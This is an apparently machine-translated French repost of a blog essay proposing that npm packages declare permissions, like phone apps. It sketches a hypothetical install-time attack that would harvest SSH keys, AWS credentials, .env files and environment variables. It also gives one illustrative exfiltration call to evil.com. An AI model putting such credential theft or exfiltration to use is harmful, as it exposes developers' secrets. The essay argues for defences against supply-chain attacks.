PC & Mobile

Autorisations de package npm – une idée – Hacker Midi

Autorisations de package npm - une idée - Hacker Midi


Il y a quelques jours, j'ai ouvert la calculatrice sur mon nouveau téléphone et j'ai reçu un message: «La calculatrice souhaite accéder à vos contacts».

Au début, je pensais que c'était un peu triste (la calculatrice était clairement seule) mais cela m'a fait réfléchir ...

Et si, tout comme les applications sur nos téléphones, les packages npm devaient déclarer les autorisations nécessaires?

Un paquet package.json pourrait ressembler à ceci:

Sur npmjs.com, cela pourrait ressembler à ceci:

Ce qui nous permettrait, en tant que développeurs, de dire des choses comme «hé, pourquoi fantaisie-logger besoin d’avoir accès à http module? C'est un peu suss. "

(Les autorisations affichées pour un package sur le site npm correspondraient en réalité à la somme de toutes les autorisations de dépendance du package.)

Commençons par un interlude pour que tout le monde se sente également vulnérable…

Je récolte vos variables d’environnement, voici comment

Mon plan initial était d'écrire un paquet npm appelé envahisseurs de l'espace. Ce serait une expérience d'apprentissage intéressante de créer un jeu fonctionnant sur une console et me permettant de faire valoir un point en même temps.

Vous courriez le jeu avec npx space invaders et commence instantanément à tirer sur les extraterrestres et à tuer le temps.

Vous l’aimerez, vous le partagerez, vos amis l’aimeraient aussi.

pendant ce temps envahisseurs de l'espace serait occupé envahir votre espace, la collecte de données à partir de ~ / .ssh / et ~ / .aws / informations d'identification, ~ / .bash_profile, etc., tous les .env fichiers qu’elle pourrait mettre la main sur, le contenu de process.env, votre config git (donc je sais qui vous êtes), et envoyer le lot à mon serveur.

Je n'ai jamais écrit le jeu, mais j'ai commencé à m'inquiéter de mon degré d'exposition chaque fois que je courais. npm installer. Maintenant que l’indicateur d’installation s’écoule, je réfléchis à la quantité de choses que j’ai sur mon ordinateur portable, dans des emplacements prévisibles, pour que je ne veuille vraiment pas tomber entre de mauvaises mains.

Et ce n’est pas seulement mon ordinateur portable, je ne sais même pas si quelque part dans le pipeline de construction de mon site, il existe des détails de connexion à la base de données dans des variables d’environnement sur un serveur de production qui permettraient à un script d’installation de paquet npm non autorisé de se connecter directement à ma base de SELECT * des utilisateurs et http.get ('http://evil.com/that-data'). (Est-ce la raison pour laquelle les gens me disent de ne pas stocker mes mots de passe en texte brut?)

Tout cela est un peu effrayant, et certainement déjà en cours (probablement, prétendument).

Mais assez de peur de l’auto-dérive, revenons aux autorisations de npm.

Garder les choses verrouillées

Voir quelles sont les autorisations demandées par un paquet lors de la navigation sur le site Web de npm serait cool (je pense) et c’est bien beau pour une tranche de temps particulière, mais en réalité cela ne résout pas le vrai problème.

Dans un hack récent, quelqu'un a publié assez intelligemment une pièce version d'un paquet contenant du code malveillant, puis un mineur version avec le code malveillant supprimé. Le temps entre les deux était suffisant pour attraper pas mal de gens.

Ce c'est le problème. Ce ne sont pas des paquets qui sont toujours malveillants. Ce sont ceux qui glissent quelque chose de méchant pendant un moment, puis l'enlèvent.

Il nous faut donc un moyen de savoir quelles autorisations sont accordées à quels packages.

Peut-être un package-permissions.json qui définit les autorisations pour Node et le navigateur, ainsi que les packages nécessitant chaque autorisation. Cela aurait besoin de lister tout packages, pas seulement les packages que vous avez répertoriés dans le les dépendances.

Une vraie version peut courir à des centaines de lignes

Maintenant, imaginez qu’à un moment donné, vous mettiez à jour un paquet. Cela va mettre à jour ses 200 dépendances, et disons que l’un de ceux-ci a publié une version de correctif qui veut tout à coup l’accès à Node. http module.

Dans ce cas, le npm installer échouera et affichera quelque chose comme ceci dans la CLI:

Le paquet ajouter deux nombres, qui est requis par le paquet fantaisie-logger, a demandé l’accès au nœud http module. Courir npm update-permissions add-two-numbers pour permettre cela, puis lancez npm installer encore.

fantaisie-logger est un paquet que vous avez dans votre package.json (que vous reconnaîtrez probablement) et ajouter deux nombres est quelque chose dont vous n'avez jamais entendu parler.

(Bien entendu, même avec ce «fichier de verrouillage des autorisations» en place, certains développeurs accepteront volontiers les nouvelles autorisations sans y penser. Mais au moins, la modification de package-permissions.json apparaîtra dans une demande de tirage, où avec un peu de chance un collègue moins apathique ne sera pas endormi au volant.)

Enfin, une modification des autorisations demandées obligerait npm à alerter les auteurs de package lorsque des modifications interviennent quelque part dans l’arbre de dépendance de leur package. Peut-être un email du genre:

Bonjour, auteur de Fancy-Logger. Nous vous informons simplement que add-two-numbers - un package sur lequel vous comptez - a demandé des autorisations pour le module ‘http’. Les autorisations de votre paquet, telles qu’elles sont affichées sur npmjs.com/package/fancy-logger, ont été mises à jour en conséquence.

Cela va certainement ajouter de la friction. Mais c’est le bon type de friction. Dans ce cas, l'auteur de ajouter deux nombres sera tout à fait conscient que si elles demandent des autorisations à http, cela va déclencher des cloches d’alarme partout dans le monde.

C'est ce que nous voulons, non?

J'espère que, tout comme avec les applications pour téléphones et même les extensions Chrome, les paquets nécessitant moins d'accès seront privilégiés par rapport à ceux qui demandent un accès douteux à votre système. Cela incitera à son tour les auteurs de packages à adopter une approche plus réfléchie dans la sélection de leurs dépendances.

Show More

SupportIvy

SupportIvy.com : Un lieu pour partager le savoir et mieux comprendre le monde. Meilleure plate-forme de support gratuit pour vous, Documentation &Tutoriels par les experts.

Related Articles

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Close
Close